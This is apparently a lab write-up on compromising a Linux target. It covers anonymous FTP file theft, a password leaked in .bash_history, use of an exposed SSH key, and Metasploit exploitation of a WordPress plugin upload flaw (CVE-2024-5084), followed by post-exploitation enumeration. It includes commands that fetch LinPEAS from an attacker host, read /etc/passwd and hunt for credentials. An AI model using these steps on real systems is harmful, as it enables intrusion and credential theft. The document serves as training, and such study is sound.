Skip to content

Linux Target Exploitation

Executive Summary

Linux target exploitation usually follows a chain:

  1. Enumerate exposed services.
  2. Identify misconfigurations or vulnerable applications.
  3. Gain initial access.
  4. Stabilize the shell.
  5. Enumerate the system from the inside.
  6. Escalate privileges.
  7. Collect evidence and document the attack path.

In this case, the target exposed several high-value weaknesses: anonymous FTP access, leaked SSH material, clear-text credentials in shell history, and a vulnerable WordPress plugin. These provided multiple paths to initial access as either the web server user or the local user john.

1. Information Gathering on Linux Targets

Linux information gathering starts with exposed network services. The goal is not only to identify open ports, but to determine whether any service leaks sensitive files, credentials, usernames, software versions, or configuration details.

Common targets include:

Service Why It Matters
FTP May allow anonymous login or expose user home directories.
SSH May accept leaked passwords or private keys.
HTTP / HTTPS May expose vulnerable web applications.
SMB / NFS May leak files, backups, or credentials.
SNMP May leak users, processes, software, and network configuration.
Databases May expose application data or credentials.

2. FTP Enumeration and File Leakage

FTP is often a weak point when anonymous access is enabled.

In this scenario, anonymous FTP access allowed browsing a user directory belonging to john.

Key Findings

Finding Impact
Anonymous login enabled Anyone could access the FTP service without valid credentials.
User directory exposed The /home/john directory was accessible.
.bash_history exposed Previous commands revealed sensitive operational mistakes.
id_rsa exposed A private SSH key was downloadable.
WordPress setup note exposed Internal documentation helped identify the application context.

Anonymous FTP Login

ftp <target-ip>

Use:

Username: anonymous
Password: anonymous

Useful commands after login:

ls -la
cd /home/john
get WordPress_Blog_Setup_Update.txt
get .bash_history
cd .ssh
get id_rsa

3. Bash History as a Credential Source

.bash_history records commands previously executed by a user. It is not a reliable forensic audit log, but when exposed, it can reveal sensitive mistakes.

In this case, .bash_history contained a clear-text password reset command:

echo "john:SuperSecurePass123" | sudo chpasswd

Why This Is Critical

This single command reveals:

Item Value
Username john
Password SuperSecurePass123
Privilege context The command was run with sudo
Attack opportunity Try SSH login and credential reuse

Security Lesson

Never place credentials directly on the command line. They may be stored in:

  • Shell history
  • Process listings
  • Logs
  • Terminal scrollback
  • Monitoring tools

4. SSH Private Key Exposure

SSH keys are safer than passwords only when the private key is protected and stored securely.

In this case, the file id_rsa was exposed through FTP and was not protected with a passphrase.

Correct Local Permission Before Use

SSH refuses to use private keys that are too open. Set strict permissions first:

chmod 600 id_rsa

SSH Login with Private Key

ssh -i id_rsa john@<target-ip>

If the key has no passphrase and matches john's authorized keys, this grants direct shell access.

Why This Worked

Weakness Impact
Private key exposed through FTP Anyone could download the key.
No passphrase The key could be used immediately.
Key trusted by SSH Direct login as john.

5. SSH Password Access

The password recovered from .bash_history can also be tested against SSH.

ssh john@<target-ip>

Password:

SuperSecurePass123

Credential Reuse Checks

After recovering a valid password, test it carefully against relevant services:

Service Example
SSH ssh john@<target-ip>
WordPress Try john or related usernames in the login portal.
SMB smbclient -L //<target-ip> -U john
Databases Only if database services are exposed and authorization allows testing.

6. WordPress Enumeration with WPScan

The target also hosted a WordPress site. WordPress enumeration focuses on identifying:

  • WordPress version
  • Themes
  • Plugins
  • Users
  • Vulnerable components
  • Misconfigurations

Example WPScan Command

wpscan --url https://<target-ip> --disable-tls-checks --enumerate p,t,u

Where:

Option Purpose
--url Target WordPress site.
--disable-tls-checks Ignores certificate validation issues.
--enumerate p,t,u Enumerates plugins, themes, and users.

Findings

Component Finding
Web server Apache/2.4.52 on Ubuntu
WordPress Version 6.7.2
Vulnerable plugin hash-form v1.1.0
Vulnerability CVE-2024-5084
Impact Unauthenticated arbitrary file upload / RCE

7. WordPress Plugin RCE

The vulnerable plugin was Hash Form – Drag & Drop Form Builder version 1.1.0.

Vulnerability Summary

Item Detail
CVE CVE-2024-5084
Vulnerable component Hash Form plugin
Vulnerable versions 1.1.0 and below
Vulnerability type Unauthenticated arbitrary file upload
Root cause Missing file type validation
Impact Upload a PHP web shell and execute commands
Severity Critical

Why File Upload RCE Matters

If an attacker can upload a PHP file into a web-accessible directory, they may be able to execute system commands as the web server user.

Typical result:

www-data

This is usually a low-privilege account, but it provides a foothold for post-exploitation.

8. Exploitation with Metasploit

Metasploit can automate exploitation of the vulnerable Hash Form plugin.

Start Metasploit

msfconsole

Search for the Module

search wordpress hash form

Select the Module

use exploit/multi/http/wp_hash_form_rce

Review Module Information

info

Example Configuration

set RHOSTS <target-ip>
set RPORT 443
set SSL true
set LHOST <attacker-vpn-ip>
run

Expected Result

The exploit uploads a PHP payload into the WordPress uploads path and triggers it.

Common upload location:

/wp-content/uploads/hashform/temp/

Expected shell context:

www-data

9. Initial Access Paths

This target provided three separate initial access paths.

Vector Source User Gained Reliability
WordPress plugin RCE Vulnerable hash-form plugin www-data High
SSH private key Exposed id_rsa from FTP john High
SSH password .bash_history credential leak john High

Best Access Path

The strongest initial access path is usually the one that provides the most stable and privileged shell.

In this case:

  1. SSH as john using id_rsa.
  2. Confirm password access as backup.
  3. Use WordPress RCE as an alternative foothold or proof of impact.

10. Post-Access Reconnaissance

After gaining shell access, immediately identify who you are, where you are, and what system you are on.

Basic Identity Checks

whoami
id
hostname
pwd

Expected users:

john
www-data

System Information

uname -a
cat /etc/os-release

Example finding:

Ubuntu 22.04.4 LTS
Kernel 5.15.0

Network Information

ip addr
ip route
ss -tulpen

Legacy alternatives:

ifconfig
netstat -tulpen

User and Home Directory Enumeration

ls -la /home
ls -la /home/john

Sudo Rights

sudo -l

If a password is known, test whether john can run privileged commands.

11. Exploitation vs. Post-Exploitation

It is important to separate the external attack from the internal phase.

Phase Perspective Goal
Exploitation Outside the target Gain an initial foothold.
Post-exploitation Inside the target Enumerate, escalate, pillage, and document impact.

Post-Exploitation Objectives

Objective Description
Enumeration Gather system, user, service, and network details.
Pillaging Search for credentials, sensitive files, and business data.
Vulnerability assessment Identify local privilege escalation paths.
Privilege escalation Move from a low-privileged user to root.
Persistence Understand how access could be maintained.
Exfiltration Demonstrate controlled access to sensitive files if authorized.

12. Linux System Enumeration Checklist

System Information

uname -a
cat /etc/os-release
hostnamectl
lscpu

Look for:

  • OS version
  • Kernel version
  • Architecture
  • Hostname
  • Virtualization indicators

User Information

id
whoami
groups
cat /etc/passwd
sudo -l
last
w

Look for:

  • Current user privileges
  • Sudo rights
  • Interesting users
  • Recently logged-in users
  • Service accounts

Network Information

ip addr
ip route
ss -tulpen
cat /etc/hosts
cat /etc/resolv.conf

Look for:

  • Internal subnets
  • Listening services
  • Local-only services
  • DNS servers
  • Hostname mappings

Process Information

ps aux
ps auxww
top

Look for:

  • Processes running as root
  • Web services
  • Database services
  • Backup jobs
  • Custom scripts

Scheduled Tasks

crontab -l
ls -la /etc/cron*
ls -la /var/spool/cron/
systemctl list-timers

Look for:

  • Writable scripts run by root
  • Backup jobs
  • Unusual recurring tasks
  • Scripts in /tmp, /dev/shm, or user directories

File System Checks

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -writable -type d 2>/dev/null
mount
df -h

Look for:

  • SUID binaries
  • SGID binaries
  • Writable directories
  • Mounted shares
  • Misconfigured permissions

Credential Hunting

grep -Ri "password" /home 2>/dev/null
grep -Ri "pass" /var/www 2>/dev/null
find /home -name "id_rsa" 2>/dev/null
find / -name "*.kdbx" 2>/dev/null

High-value locations:

Location Why It Matters
/home/*/.ssh/ SSH keys and known hosts.
/var/www/ Web application configs.
/opt/ Custom applications and scripts.
/etc/ Service configuration files.
/tmp/ and /dev/shm/ Common attacker staging directories.

13. Automated Enumeration with LinPEAS

LinPEAS is part of the PEASS-ng suite and automates Linux privilege escalation checks.

Transfer LinPEAS to the Target

Start a Python web server on the attacker machine:

python3 -m http.server 8000

Download it from the target:

wget http://<attacker-ip>:8000/linpeas.sh

Make it executable:

chmod +x linpeas.sh

Run it:

./linpeas.sh

LinPEAS Output Priority

Color / Signal Meaning
Red / Yellow Highly likely privilege escalation vector. Check first.
Red Possible privilege escalation vector. Requires validation.
Green Useful system information.
Blue Interesting users, groups, or contextual information.

What LinPEAS Checks

Category Examples
Credentials Passwords in files, configs, environment variables.
Sudo rights Dangerous sudo -l entries.
SUID / SGID Abusable privileged binaries.
Writable paths Writable scripts, services, or cron jobs.
Kernel exploits Kernel version matched to known local exploits.
Services Misconfigured or outdated local services.
Lateral movement SSH keys, known hosts, internal routes.

14. Example Attack Chain

A clean attack chain for this target would be:

  1. Scan the target and identify FTP, SSH, and HTTPS.
  2. Log in to FTP anonymously.
  3. Download .bash_history, id_rsa, and internal WordPress notes.
  4. Extract john:SuperSecurePass123 from .bash_history.
  5. Set private key permissions with chmod 600 id_rsa.
  6. SSH into the target as john.
  7. Confirm identity with id.
  8. Run sudo -l and begin local privilege escalation checks.
  9. Run LinPEAS for automated enumeration.
  10. Document each successful access path and the root cause.

15. Defensive Lessons

Weakness Defensive Fix
Anonymous FTP enabled Disable anonymous login unless absolutely required.
User home directory exposed Restrict FTP root and enforce chroot isolation.
Private SSH key exposed Store keys securely and protect them with passphrases.
Clear-text password in .bash_history Avoid typing secrets in shell commands; clear exposed history and rotate credentials.
Vulnerable WordPress plugin Patch or remove vulnerable plugins.
Web server user shell access Harden web directories and restrict executable uploads.
Weak credential hygiene Rotate leaked passwords and audit reuse across services.

16. Quick Reference

Task Command
Anonymous FTP login ftp <target-ip>
Download FTP file get <filename>
Fix SSH key permissions chmod 600 id_rsa
SSH with private key ssh -i id_rsa john@<target-ip>
SSH with password ssh john@<target-ip>
Basic identity check id && whoami && hostname
OS version cat /etc/os-release
Kernel version uname -a
Listening ports ss -tulpen
Sudo rights sudo -l
SUID binaries find / -perm -4000 -type f 2>/dev/null
Start file server python3 -m http.server 8000
Download LinPEAS wget http://<attacker-ip>:8000/linpeas.sh
Run LinPEAS chmod +x linpeas.sh && ./linpeas.sh

Key Takeaways

  • Anonymous FTP can become a critical vulnerability if it exposes user files.
  • .bash_history often contains operational mistakes, including passwords and administrative commands.
  • An unencrypted private SSH key is equivalent to a password.
  • WordPress plugins are common attack paths and should be enumerated carefully.
  • Initial access as www-data is useful, but SSH access as a real user is usually more stable.
  • Post-exploitation begins with local enumeration.
  • Tools like LinPEAS are powerful, but manual verification is still required.